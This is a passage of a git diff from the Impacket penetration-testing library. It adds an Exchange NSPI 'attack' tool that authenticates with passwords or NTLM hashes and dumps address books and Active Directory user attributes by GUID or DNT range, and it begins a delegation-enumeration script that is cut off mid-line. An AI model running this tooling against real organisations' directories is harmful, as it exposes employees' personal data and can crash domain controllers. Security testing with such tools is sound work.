= open(self.__outputFileName, 'w+') + + def print(self, text): + if self.__outputFd != None: + if PY3: + self.__outputFd.write(text + '\n') + else: + self.__outputFd.write((text + '\n').encode('utf-8')) + print(text) + + def _encode_binary(self, bytestr): + if PY3 and self._output_type == "hex": + return "0x%s" % str(binascii.hexlify(bytestr), 'ascii') + elif self._output_type == "hex": + return "0x%s" % binascii.hexlify(bytestr) + elif PY3: + return str(base64.b64encode(bytestr), 'ascii') + else: + return base64.b64encode(bytestr) + + def __del__(self): + if self.__outputFd != None: + self.__outputFd.close() + self.__outputFd = None + +class NSPIAttacks(Exchanger): + PROPS_GUID = [PR_EMS_AB_OBJECT_GUID] + + PROPS_MINUMAL = [ + 0x3a00001F, # mailNickname + 0x39fe001F, # mail + 0x80270102, # objectSID + 0x30070040, # whenCreated + 0x30080040, # whenChanged + 0x8c6d0102, # objectGUID + ] + + PROPS_EXTENDED = PROPS_MINUMAL + [ + # Names + 0x3a0f001f, # cn + 0x8202001f, # name + 0x0fff0102, # PR_ENTRYID + 0x3001001f, # PR_DISPLAY_NAME + 0x3a20001f, # PR_TRANSMITABLE_DISPLAY_NAME + 0x39ff001f, # displayNamePrintable + 0x800f101f, # proxyAddresses + 0x8171001f, # lDAPDisplayName + 0x8102101f, # ou + 0x804b001F, # adminDisplayName + + # Text Properties + 0x806f101f, # description + 0x3004001f, # info + 0x8069001f, # c + 0x3a26001f, # co + 0x3a2a001f, # postalCode + 0x3a28001f, # st + 0x3a29001f, # streetAddress + 0x3a09001f, # homePhone + 0x3a1c001f, # mobile + 0x3a1b101f, # otherTelephone + 0x3a16001f, # company + 0x3a18001f, # department + 0x3a17001f, # title + 0x3a11001f, # sn + 0x3a0a001f, # initials + 0x3a06001f, # givenName + + # Attributes of Types + 0x0ffe0003, # PR_OBJECT_TYPE + 0x39000003, # PR_DISPLAY_TYPE + 0x80bd0003, # instanceType + + # Exchange Extension Attributes + 0x802d001F, # extensionAttribute1 + 0x802e001F, # extensionAttribute2 + 0x802f001F, # extensionAttribute3 + 0x8030001F, # extensionAttribute4 + 0x8031001F, # extensionAttribute5 + 0x8032001F, # extensionAttribute6 + 0x8033001F, # extensionAttribute7 + 0x8034001F, # extensionAttribute8 + 0x8035001F, # extensionAttribute9 + 0x8036001F, # extensionAttribute10 + 0x8c57001F, # extensionAttribute11 + 0x8c58001F, # extensionAttribute12 + 0x8c59001F, # extensionAttribute13 + 0x8c60001F, # extensionAttribute14 + 0x8c61001F, # extensionAttribute15 + + # 0x8c9e0102, # thumbnailPhoto, large + + # Configuration + 0x81b6101e, # protocolSettings + 0x8c9f001e, # msExchUserCulture + 0x8c730102, # msExchMailboxGuid + 0x8c96101e, # msExchResourceAddressLists, exists only for Exchange Organization object + 0x8c750102, # msExchMasterAccountSid + 0x8cb5000b, # msExchEnableModeration + 0x8cb30003, # msExchGroupJoinRestriction + 0x8ce20003, # msExchGroupMemberCount + + # Useful when lookuping DNTs + 0x813b101e, # subRefs + 0x8170101e, # networkAddress + 0x8011001e, # targetAddress + 0x8175101e, # url + + # Useful for distinguishing accounts + 0x8c6a1102, # userCertificate + + # Assigned MId + 0x0ff60102, # PR_INSTANCE_KEY + ] + + # MS-OXNSPI + # 2.1 Transport + # For the network protocol sequence RPC over HTTPS, + # this protocol MUST use the well-known endpoint 6004. + DEFAULT_STRING_BINDING = 'ncacn_http:%s[6004,RpcProxy=%s:443]' + + def __init__(self): + Exchanger.__init__(self) + + self.__handler = None + + self.htable = {} + self.anyExistingContainerID = -1 + + self.props = list() + self.stat = nspi.STAT() + self.stat['CodePage'] = nspi.CP_TELETEX + + def connect_rpc(self, remoteName, rpcHostname=''): + self._stringbinding = self.DEFAULT_STRING_BINDING % (rpcHostname, remoteName) + logging.debug('StringBinding %s' % self._stringbinding) + + self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding) + self._rpctransport.set_credentials(self._username, self._password, self._domain, + self._lmhash, self._nthash) + + self.__dce = self._rpctransport.get_dce_rpc() + + # MS-OXNSPI + # 3.1.4 Message Processing Events and Sequencing Rules + # + # This protocol MUST indicate to the RPC runtime that it + # is to perform a strict Network Data Representation (NDR) data + # consistency check at target level 6.0, as specified in [MS-RPCE]. + self.__dce.set_credentials(self._username, self._password, self._domain, + self._lmhash, self._nthash) + self.__dce.set_auth_level(6) + + self.__dce.connect() + self.__dce.bind(nspi.MSRPC_UUID_NSPI) + + resp = nspi.hNspiBind(self.__dce, self.stat) + self.__handler = resp['contextHandle'] + + def update_stat(self, table_MId): + stat = nspi.STAT() + stat['CodePage'] = CP_TELETEX + stat['ContainerID'] = NSPIAttacks._int_to_dword(table_MId) + + resp = nspi.hNspiUpdateStat(self.__dce, self.__handler, stat) + self.stat = resp['pStat'] + + def load_htable(self): + resp = nspi.hNspiGetSpecialTable(self.__dce, self.__handler) + resp_simpl = nspi.simplifyPropertyRowSet(resp['ppRows']) + + self._parse_and_set_htable(resp_simpl) + + def load_htable_stat(self): + for MId in self.htable: + self.update_stat(MId) + self.htable[MId]['count'] = self.stat['TotalRecs'] + self.htable[MId]['start_mid'] = self.stat['CurrentRec'] + + def load_htable_containerid(self): + if self.anyExistingContainerID != -1: + return + + if self.htable == {}: + self.load_htable() + + for MId in self.htable: + self.update_stat(MId) + + if self.stat['CurrentRec'] > 0: + self.anyExistingContainerID = NSPIAttacks._int_to_dword(MId) + return + + def _parse_and_set_htable(self, htable): + self.htable = {} + + for ab in htable: + MId = ab[PR_EMS_AB_CONTAINERID] + + self.htable[MId] = {} + self.htable[MId]['flags'] = ab[PR_CONTAINER_FLAGS] + + if MId == 0: + self.htable[0]['name'] = "Default Global Address List" + else: + self.htable[MId]['name'] = ab[PR_DISPLAY_NAME] + self.htable[MId]['guid'] = get_guid_from_dn(ab[PR_ENTRYID]) + + if PR_EMS_AB_PARENT_ENTRYID in ab: + self.htable[MId]['parent_guid'] = get_guid_from_dn(ab[PR_EMS_AB_PARENT_ENTRYID]) + + if PR_DEPTH in ab: + self.htable[MId]['depth'] = ab[PR_DEPTH] + else: + self.htable[MId]['depth'] = 0 + + if PR_EMS_AB_IS_MASTER in ab: + self.htable[MId]['is_master'] = ab[PR_EMS_AB_IS_MASTER] + else: + self.htable[MId]['is_master'] = 0 + + @staticmethod + def _int_to_dword(number): + if number > 0: + return number + else: + return (number + (1 << 32)) % (1 << 32) + + def print_htable(self, parent_guid=None): + MIds_print = [] + + for MId in self.htable: + if parent_guid == None and 'parent_guid' not in self.htable[MId]: + MIds_print.append(MId) + elif parent_guid != None and 'parent_guid' in self.htable[MId] and self.htable[MId]['parent_guid'] == parent_guid: + MIds_print.append(MId) + + for MId in MIds_print: + ab = self.htable[MId] + ab['printed'] = True + indent = ' ' * ab['depth'] + + # Table name + print("%s%s" % (indent, ab['name'])) + + # Count + if 'count' in ab: + print("%sTotalRecs: %d" % (indent, ab['count'])) + + # Table params + if MId != 0: + guid = uuid.bin_to_string(ab['guid']).lower() + print("%sGuid: %s" % (indent, guid)) + else: + print("%sGuid: None" % indent) + + if ab['is_master'] != 0: + print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent) + + if self._extended_output: + dword = NSPIAttacks._int_to_dword(MId) + print("%sAssigned MId: 0x%.08X (%d)" % (indent, dword, MId)) + + if 'start_mid' in ab: + dword = NSPIAttacks._int_to_dword(ab['start_mid']) + if dword == 2: + print("%sAssigned first record MId: 0x00000002 (MID_END_OF_TABLE)" % indent) + else: + print("%sAssigned first record MId: 0x%.08X (%d)" % (indent, dword, ab['start_mid'])) + + flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, ab['flags']) + print("%sFlags: %s" % (indent, flags)) + + print() + + if MId != 0: + self.print_htable(parent_guid=ab['guid']) + + if parent_guid == None: + for MId in self.htable: + if self.htable[MId]['printed'] == False: + print("Found parentless object!") + print("Name: %s" % self.htable[MId]['name']) + print("Guid: %s" % uuid.bin_to_string(self.htable[MId]['guid']).lower()) + print("Parent guid: %s" % uuid.bin_to_string(self.htable[MId]['parent_guid']).lower()) + dword = NSPIAttacks._int_to_dword(MId) if MId < 0 else MId + print("Assigned MId: 0x%.08X (%d)" % (dword, MId)) + flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, self.htable[MId]['flags']) + print("Flags: %s" % flags) + if self.htable[MId]['is_master'] != 0: + print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent) + print() + + def disconnect(self): + nspi.hNspiUnbind(self.__dce, self.__handler) + self.__dce.disconnect() + + def print_row(self, row_simpl, delimiter=None): + empty = True + + for aulPropTag in row_simpl: + PropertyId = aulPropTag >> 16 + PropertyType = aulPropTag & 0xFFFF + + # Error, e.g. MAPI_E_NOT_FOUND + if PropertyType == 0x000A: + continue + + # PtypEmbeddedTable + if PropertyType == 0x000D: + continue + + empty = False + + if PropertyId in MAPI_PROPERTIES: + property_name = MAPI_PROPERTIES[PropertyId][1] + if property_name is None: + property_name = MAPI_PROPERTIES[PropertyId][5] + if property_name is None: + property_name = MAPI_PROPERTIES[PropertyId][6] + else: + property_name = "0x%.8x" % aulPropTag + + if self._extended_output: + property_name = "%s, 0x%.8x" % (property_name, aulPropTag) + + if isinstance(row_simpl[aulPropTag], ExchBinaryObject): + self.print("%s: %s" % (property_name, self._encode_binary(row_simpl[aulPropTag]))) + else: + self.print("%s: %s" % (property_name, row_simpl[aulPropTag])) + + if empty == False and delimiter != None: + self.print(delimiter) + + def load_props(self): + if len(self.props) > 0: + return + + resp = nspi.hNspiQueryColumns(self.__dce, self.__handler) + + for prop in resp['ppColumns']['aulPropTag']: + PropertyTag = prop['Data'] + PropertyType = PropertyTag & 0xFFFF + + if PropertyType == 0x000D: + # Skipping PtypEmbeddedTable to reduce traffic + continue + + self.props.append(PropertyTag) + + def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, onlyCheck=False): + printOnlyGUIDs = False + useAsExplicitTable = False + + if self.anyExistingContainerID == -1: + self.load_htable_containerid() + + if table_MId == None and eTable == None: + raise Exception("Wrong arguments!") + elif table_MId != None and eTable != None: + raise Exception("Wrong arguments!") + elif table_MId != None: + # Let's call NspiUpdateStat + # It's important when the given MId is taken from the hierarchy table, + # especially in Multi-Tenant environments + self.update_stat(table_MId) + + # Table end reached + if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE: + # Returning False to support onlyCheck + return False + else: + # eTable != None + useAsExplicitTable = True + + if attrs == self.PROPS_GUID: + # GUIDS + firstReqProps = self.PROPS_GUID + printOnlyGUIDs = True + elif attrs == self.PROPS_MINUMAL: + # MINIMAL + firstReqProps = self.PROPS_MINUMAL + elif attrs == []: + # FULL + # Requesting a list of all the properties that the server knows + if self.props == []: + self.load_props() + attrs = self.props + + # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds, + # and then use them as an Explicit Table + firstReqProps = [PR_INSTANCE_KEY] + useAsExplicitTable = True + else: + # EXTENDED and custom + # + # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds, + # and then use them as an Explicit Table + firstReqProps = [PR_INSTANCE_KEY] + useAsExplicitTable = True + + if onlyCheck: + attrs = self.PROPS_GUID + firstReqProps = self.PROPS_GUID + useAsExplicitTable = True + + while True: + if eTable == None: + resp = nspi.hNspiQueryRows(self.__dce, self.__handler, + pStat=self.stat, Count=count, pPropTags=firstReqProps) + self.stat = resp['pStat'] + + try: + # Addressing to PropertyRowSet_r must be inside try / except, + # as if the server returned a wrong result, it can be in + # multiple of forms, and we cannot easily determine it + # before parsing + resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) + except Exception as e: + resp.dumpRaw() + logging.error(str(e)) + raise Exception("NspiQueryRows returned wrong result") + + if onlyCheck: + if len(resp_rows) == 0: + return False + + for row in resp_rows: + # PropertyId = 0x8C6D (objectGUID) + # PropertyType = 0x000A (error) + if 0x8C6D000A not in row: + return True + + return False + + if useAsExplicitTable: + if eTable == None: + eTableInt = [] + for row in resp_rows: + eTableInt.append(row[PR_INSTANCE_KEY]) + else: + eTableInt = eTable + + resp = nspi.hNspiQueryRows(self.__dce, self.__handler, + ContainerID=self.anyExistingContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt) + + try: + # Addressing to PropertyRowSet_r must be inside try / except, + # as if the server returned a wrong result, it can be in + # multiple of forms, and we cannot easily determine it + # before parsing + resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) + except Exception as e: + resp.dumpRaw() + logging.error(str(e)) + raise Exception("NspiQueryRows returned wrong result while processing explicit table") + + if onlyCheck: + if len(resp_rows) == 0: + return False + + for row in resp_rows: + # PropertyId = 0x8C6D (objectGUID) + # PropertyType = 0x000A (error) + if 0x8C6D000A not in row: + return True + + return False + + if printOnlyGUIDs: + for row in resp_rows: + if PR_EMS_AB_OBJECT_GUID in row: + objectGuid = row[PR_EMS_AB_OBJECT_GUID] + self.print(objectGuid) + else: + # Empty row (wrong MId) + pass + else: + for row in resp_rows: + self.print_row(row, DELIMITER) + + # When the caller specified eTable it's always one NspiQueryRows call + if eTable != None: + break + + # Table end reached + # It also MUST be checked after NspiUpdateStat + if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE: + break + + # This should not happen + if len(resp_rows) == 0: + break + + def req_print_guid(self, guid=None, attrs=[], count=50, guidFile=None): + if guid == None and guidFile == None: + raise Exception("Wrong arguments!") + elif guid != None and guidFile != None: + raise Exception("Wrong arguments!") + + if attrs == []: + # Requesting a list of all the properties that the server knows + if self.props == []: + self.load_props() + attrs = self.props + + if guid: + printedLines = self._req_print_guid([guid], attrs) + if printedLines == 0: + raise Exception("Object with specified GUID not found!") + return + + fd = open(guidFile, 'r') + line = fd.readline() + + while True: + guidList = [] + # EOF + if line == '': + break + + # Reading N lines from the file + for i in range(count): + line = fd.readline() + guid = line.strip() + + if guid == '' or line[0] == '#': + continue + + guidList.append(guid) + + # Multiple empty lines or EOF + if len(guidList) == 0: + continue + + # Processing + self._req_print_guid(guidList, attrs, DELIMITER) + + fd.close() + + def _req_print_guid(self, guidList, attrs, delimiter=None): + legacyDNList = [] + + for guid in guidList: + legacyDNList.append(get_dn_from_guid(guid, minimize=True)) + + resp = nspi.hNspiResolveNamesW(self.__dce, self.__handler, pPropTags=attrs, paStr=legacyDNList) + + try: + # Addressing to PropertyRowSet_r must be inside try / except, + # as if the server returned a wrong result, it can be in + # multiple of forms, and we cannot easily determine it + # before parsing + if resp['ppRows']['cRows'] <= 0: + return 0 + + # Addressing to PropertyRowSet_r must be inside try / except, + # as if the server returned a wrong result, it can be in + # multiple of forms, and we cannot easily determine it + # before parsing + resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) + except Exception as e: + resp.dumpRaw() + logging.error(str(e)) + raise Exception("NspiResolveNamesW returned wrong result") + + for row in resp_rows: + self.print_row(row, delimiter) + + return resp['ppRows']['cRows'] + + def req_print_dnt(self, start_dnt, stop_dnt, attrs=[], count=50, checkIfEmpty=False): + if count <= 0 or start_dnt < 0 or stop_dnt < 0 or stop_dnt > 0xFFFFFFFF or start_dnt > 0xFFFFFFFF: + raise Exception("Wrong arguments!") + + if stop_dnt >= start_dnt: + step = count + rstep = 1 + else: + step = -count + rstep = -1 + + stop_dnt += rstep + dnt1 = start_dnt + dnt2 = start_dnt + step + + while True: + if step > 0 and dnt2 > stop_dnt: + dnt2 = stop_dnt + elif step < 0 and dnt2 < stop_dnt: + dnt2 = stop_dnt + + self.print("# MIds %d-%d:" % (dnt1, dnt2 - rstep)) + + if checkIfEmpty: + # Speed up the process by reducing the length of request/response + exists = self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep), onlyCheck=True) + if exists: + self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep)) + else: + self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep)) + + if dnt2 == stop_dnt: + break + + dnt1 += step + dnt2 += step + +class ExchangerHelper: + def __init__(self, domain, username, password, remoteName): + self.__domain = domain + self.__username = username + self.__password = password + self.__remoteName = remoteName + + self.exch = None + + def run(self, options): + module = options.module.lower() + submodule = options.submodule.lower() + + if module == 'nspi': + # Checking options before connecting to the server + self.nspi_check(submodule, options) + self.nspi_run(submodule, options) + else: + raise Exception("%s module not found" % module) + + def nspi_run(self, submodule, options): + self.exch = NSPIAttacks() + self.exch.set_credentials(self.__username, self.__password, self.__domain, options.hashes) + self.exch.set_extended_output(options.debug) + + if submodule in ['dump-tables', 'guid-known', 'dnt-lookup'] and options.output_file != None: + self.exch.set_output_file(options.output_file) + + self.exch.connect_rpc(self.__remoteName, options.rpc_hostname) + + if submodule == 'list-tables': + self.nspi_list_tables(options) + elif submodule == 'dump-tables': + self.nspi_dump_tables(options) + elif submodule == 'guid-known': + self.nspi_guid_known(options) + elif submodule == 'dnt-lookup': + self.nspi_dnt_lookup(options) + + self.exch.disconnect() + + def nspi_check(self, submodule, options): + if submodule == 'dump-tables' and options.name == None and options.guid == None: + dump_tables.print_help() + sys.exit(1) + + if submodule == 'dump-tables' and options.name != None and options.guid != None: + logging.error("Specify only one of -name or -guid") + sys.exit(1) + + if submodule == 'guid-known' and options.guid == None and options.guid_file == None: + guid_known.print_help() + sys.exit(1) + + if submodule == 'guid-known' and options.guid != None and options.guid_file != None: + logging.error("Specify only one of -guid or -guid-file") + sys.exit(1) + + def nspi_list_tables(self, options): + self.exch.load_htable() + + if options.count: + self.exch.load_htable_stat() + + self.exch.print_htable() + + def nspi_dump_tables(self, options): + self.exch.set_output_type(options.output_type) + + if options.lookup_type == None or options.lookup_type == 'MINIMAL': + propTags = NSPIAttacks.PROPS_MINUMAL + elif options.lookup_type == 'EXTENDED': + propTags = NSPIAttacks.PROPS_EXTENDED + elif options.lookup_type == 'GUIDS': + propTags = NSPIAttacks.PROPS_GUID + else: + # FULL + propTags = [] + + if options.name != None and options.name.lower() in ['gal', 'default global address list', 'global address list']: + logging.info("Lookuping Global Address List") + table_MId = 0 + else: + # 2.2.8 + # The client obtains Minimal Entry IDs for STAT ContainerID + # from the server's address book hierarchy table + # + # We cannot convert the GUID to a MId via NspiDNToMId or similar operations because it + # may not work in Multi-Tenant environments + self.exch.load_htable() + + if options.guid != None: + logging.info("Search for an address book with objectGUID = %s" % options.guid) + guid = uuid.string_to_bin(options.guid) + name = None + else: + guid = None + name = options.name + + table_MId = 0 + + for MId in self.exch.htable: + if MId == 0: + # GAL + continue + + if guid is not None: + # -guid + if self.exch.htable[MId]['guid'] == guid: + logging.debug("MId %d is assigned for %s object" % (MId, options.guid)) + logging.info("Lookuping %s" % self.exch.htable[MId]['name']) + table_MId = MId + break + else: + # -name + if self.exch.htable[MId]['name'] == name: + guid = uuid.bin_to_string(self.exch.htable[MId]['guid']) + logging.debug("MId %d is assigned for %s object" % (MId, guid)) + logging.info("Lookuping address book with objectGUID = %s" % guid) + table_MId = MId + break + + if table_MId == 0: + logging.error("Specified address book not found!") + sys.exit(1) + + self.exch.req_print_table_rows(table_MId, propTags, options.rows_per_request) + + def nspi_guid_known(self, options): + self.exch.set_output_type(options.output_type) + + if options.lookup_type == None or options.lookup_type == 'MINIMAL': + propTags = NSPIAttacks.PROPS_MINUMAL + elif options.lookup_type == 'EXTENDED': + propTags = NSPIAttacks.PROPS_EXTENDED + else: + # FULL + propTags = [] + + if options.guid != None: + self.exch.req_print_guid(options.guid, propTags) + else: + self.exch.req_print_guid(attrs=propTags, count=options.rows_per_request, guidFile=options.guid_file) + + def nspi_dnt_lookup(self, options): + if options.lookup_type == None or options.lookup_type == 'EXTENDED': + propTags = NSPIAttacks.PROPS_EXTENDED + elif options.lookup_type == 'GUIDS': + propTags = NSPIAttacks.PROPS_GUID + else: + # FULL + propTags = [] + + self.exch.req_print_dnt(options.start_dnt, options.stop_dnt, attrs=propTags, + count=options.rows_per_request, checkIfEmpty=True) + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + + print(version.BANNER) + + class SmartFormatter(argparse.HelpFormatter): + def _split_lines(self, text, width): + if text.startswith('R|'): + return text[2:].splitlines() + else: + return argparse.HelpFormatter._split_lines(self, text, width) + + def localized_arg(bytestring): + unicode_string = bytestring.decode(sys.getfilesystemencoding()) + return unicode_string + + parser = argparse.ArgumentParser(add_help=True, description="A tool to abuse Exchange services") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG and EXTENDED output ON') + #parser.add_argument('-transport', choices=['RPC', 'MAPI'], nargs='?', default='RPC', help='Protocol to use') + parser.add_argument('-rpc-hostname', action='store', help='A name of the server in GUID (preferred) ' + 'or NetBIOS name format (see description in the beggining of this file)') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + + if PY37ORHIGHER: + subparsers = parser.add_subparsers(help='A module name', dest='module', required=True) + else: + subparsers = parser.add_subparsers(help='A module name', dest='module') + + # NSPI module + nspi_parser = subparsers.add_parser('nspi', help='Attack NSPI interface') + + # Attacks for NSPI protocol + if PY37ORHIGHER: + nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule', required=True) + else: + nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule') + + list_tables = nspi_attacks.add_parser('list-tables', help='List Address Books') + list_tables.add_argument('-count', action='store_true', help='Request total number of records in each table') + + + dump_tables = nspi_attacks.add_parser('dump-tables', formatter_class=SmartFormatter, help='Dump Address Books') + dump_tables.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='MINIMAL', + help='R|Lookup type:\n' + ' MINIMAL - Request limited set of fields (default)\n' + ' EXTENDED - Request extended set of fields\n' + ' FULL - Request all fields for each row\n' + ' GUIDS - Request only GUIDs') + dump_tables.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50, + help='Limit the number of rows per request') + + if PY3: + dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)') + else: + dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)', + type=localized_arg) + + dump_tables.add_argument('-guid', action='store', help='Dump table with the specified GUID') + dump_tables.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', + help='Output format for binary objects') + dump_tables.add_argument('-output-file', action='store', help='Output filename') + + guid_known = nspi_attacks.add_parser('guid-known', formatter_class=SmartFormatter, + help='Retrieve Active Directory objects by GUID / GUIDs') + guid_known.add_argument('-guid', action='store', help='Dump object with the specified GUID') + guid_known.add_argument('-guid-file', action='store', help='Dump objects using GUIDs from file') + guid_known.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL'], nargs='?', default='MINIMAL', + help='R|Lookup type:\n' + ' MINIMAL - Request limited set of fields (default)\n' + ' EXTENDED - Request extended set of fields\n' + ' FULL - Request all fields for each row') + guid_known.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50, + help='Limit the number of rows per request') + guid_known.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', + help='Output format for binary objects') + guid_known.add_argument('-output-file', action='store', help='Output filename') + + dnt_lookup = nspi_attacks.add_parser('dnt-lookup', formatter_class=SmartFormatter, help='Lookup Distinguished Name Tags') + dnt_lookup.add_argument('-lookup-type', choices=['EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='EXTENDED', + help='R|Lookup type:\n' + ' EXTENDED - Request extended set of fields (default)\n' + ' FULL - Request all fields for each row\n' + ' GUIDS - Request only GUIDs') + dnt_lookup.add_argument('-rows-per-request', action='store', type=int, metavar="350", default=350, + help='Limit the number of rows per request') + + dnt_lookup.add_argument('-start-dnt', action='store', type=int, metavar="500000", default=500000, + help='A DNT to start from') + dnt_lookup.add_argument('-stop-dnt', action='store', type=int, metavar="0", default=0, + help='A DNT to lookup to') + + dnt_lookup.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', + help='Output format for binary objects') + dnt_lookup.add_argument('-output-file', action='store', help='Output filename') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None: + from getpass import getpass + password = getpass("Password:") + + if options.rpc_hostname == '': + # Preventing false feedback that empty hostname means something for Exchange + # For autodetect -rpc-hostname should be skipped + logging.error("-rpc-hostname cannot be empty") + sys.exit(1) + + if options.rpc_hostname is None: + # Autodetect + options.rpc_hostname = '' + + try: + exchHelper = ExchangerHelper(domain, username, password, remoteName) + exchHelper.run(options) + except KeyboardInterrupt: + logging.error("KeyboardInterrupt") + except Exception as e: + #raise + + # This may contain UTF-8 + error_text = 'Protocol failed: %s' % e + logging.critical(error_text) + + if 'NspiQueryRows returned wrong result' in error_text and \ + options.submodule.lower() == 'dnt-lookup': + logging.critical("Most likely ntdsai.dll in lsass.exe has crashed " + "on a Domain Controller while processing a DNT which " + "does not support to be requested via MS-NSPI. " + "The DC is probably rebooting. " + "This can happend in Multi-Tenant Environment. " + "You can try to request different DNT range") + + if 'Connection reset by peer' in error_text and \ + exchHelper.exch._rpctransport.rts_ping_received == True and \ + options.submodule.lower() == 'dnt-lookup': + logging.critical("Most likely ntdsai.dll in lsass.exe has crashed " + "on a Domain Controller while processing a DNT which " + "does not support to be requested via MS-NSPI. " + "The DC is probably rebooting. " + "This can happend in Multi-Tenant Environment. " + "You can try to request different DNT range") + + # This usually happens when the target is RDG + # Probably may happen for Exchange 2003 / 2007 / 2010 + if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: + logging.critical("This usually means the target has no ACL to connect to " + "this endpoint using RPC Proxy") + logging.critical("Is the server a MS Exchange?") + if options.rpc_hostname == '': + logging.critical("Try to specify -rpc-hostname (see description in the " + "beggining of this file)") + else: + logging.critical("Try to specify different -rpc-hostname, or enumerate " + "endpoints via rpcmap.py / rpcdump.py") + + # It's Exchange or Exchange behind TMG, but the RPC Server name is wrong + if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ + RPC_PROXY_CONN_A1_404_ERR in error_text: + if options.rpc_hostname == '': + logging.critical("Cannot determine the right RPC Server name. Specify -rpc-hostname " + "(see description in the beggining of this file)") + else: + logging.critical("The specified RPC Server is incorrect. " + "Try to specify different -rpc-hostname") + + if RPC_PROXY_REMOTE_NAME_NEEDED_ERR in error_text: + logging.critical("Specify -rpc-hostname (see description in the beggining of this file)") + + # Wrong credentials + if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: + logging.critical("Wrong credentials!") + + # Show a reminder if Basic + if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: + if exchHelper.exch._rpctransport.get_auth_type() == AUTH_BASIC and domain == '': + logging.critical("The server requested Basic authentication which " + "may require you to specify the domain. " + "Your domain is empty!") + + if RPC_PROXY_CONN_A1_401_ERR in error_text or \ + RPC_PROXY_CONN_A1_404_ERR in error_text: + logging.info("A proxy in front of the target server detected (may be WAF / SIEM)") diff --git a/examples/findDelegation.py b/examples/findDelegation.py new file mode 100644 index 0000000..db37560 --- /dev/null +++ b/examples/findDelegation.py @@ -0,0 +1,322 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This module will try to find all delegation relationships in a given domain. +# Delegation relationships can provide info on specific users and systems to target, +# as access to these systems will grant access elsewhere also. +# Unconstrained, constrained, and resource-based constrained delegation types are queried +# for and displayed. +# +# Author: +# Dave Cossa (@G0ldenGunSec) +# Based on GetUserSPNs.py by Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function + +import argparse +import logging +import sys + +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ldap import ldap, ldapasn1 +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection, SessionError + + +class FindDelegation: + @staticmethod + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print(outputFormat.format(*header)) + print(' '.join(['-' * itemLen for itemLen in colLen])) + + # And now the rows + for row in items: + print(outputFormat.format(*row)) + + def __init__(self, username, password, user_domain, target_domain, cmdLineOptions): + self.__username = username + self.__password = password + self.__domain = user_domain + self.__target = None + self.__targetDomain = target_domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost + self.__kdcIP = cmdLineOptions.dc_ip + self.__kdcHost = cmdLineOptions.dc_host + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__targetDomain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = 